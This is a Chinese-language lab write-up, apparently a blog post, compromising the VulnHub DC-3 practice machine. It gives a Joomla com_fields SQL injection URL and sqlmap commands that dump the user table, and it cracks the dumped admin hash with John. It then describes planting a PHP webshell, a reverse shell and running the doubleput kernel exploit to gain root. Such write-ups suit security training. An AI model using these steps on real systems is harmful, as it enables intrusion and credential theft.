DC系列第三篇

资源地址:https://download.vulnhub.com/dc/DC-3-2.zip

本机:192.168.3.15

靶机:192.168.3.19

1. 主机发现&信息收集

nmap 192.168.3.0/24

image-20220104184427120

首页面给我们了信息,“只有一个flag,需要提权到root”

image-20220104184529529

可以发现web是旧梦

image-20220104184741179

joomscan扫一下

joomscan -u "http://192.168.3.19/"

image-20220104190310570

2. 漏洞测试&利用

sql注入部分

首先测试注入漏洞,搜索常见joomla漏洞测试即可,发现存在sql注入

http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

image-20220104185520424

sqlmap一下

python3 sqlmap.py -u "http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" --dbs --batch

image-20220104185451119

跑出来了一些字段

image-20220104191050990

python3 sqlmap.py -u "http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,email,name,password,params,params" --dump  -p "list[fullordering]" --batch

 629 | freddy@norealaddress.net | admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""}

image-20220104191420675

John破解hash

John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc-3hash.txt
jhon dc-3hash.txt
破解得到密码snoopy

image-20220104191915310

写webshell

后台地址:http://192.168.3.19/administrator/index.php

登陆进后台后有个php管理的模块,可以编辑php,写🐴。

image-20220104192743224

连接

image-20220104193324139

3. 提权

发现了sudo ,但是sudo -l无果

image-20220104193505048

查版本

uname -a
lsb_release -a
cat /etc/issue
cat /proc/version

image-20220104194042884

搜索提权exp

searchsploit Ubuntu 16.04

image-20220104202712344

利用

使用39772:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip ,上传后解压

image-20220104202556531

反弹shell并执行脚本

image-20220104202857994

执行doubleput,flag在/root下

image-20220104202835076

4. 小结

  1. 搜索漏洞可以使用searchsploit
searchsploit Ubuntu 16.04  
  1. joomla漏洞扫描
joomscan -u "http://192.168.3.19/"

image-20220104203816491

  1. John破解hash
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc-3hash.txt
jhon dc-3hash.txt
破解得到密码snoopy

image-20220104191915310

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值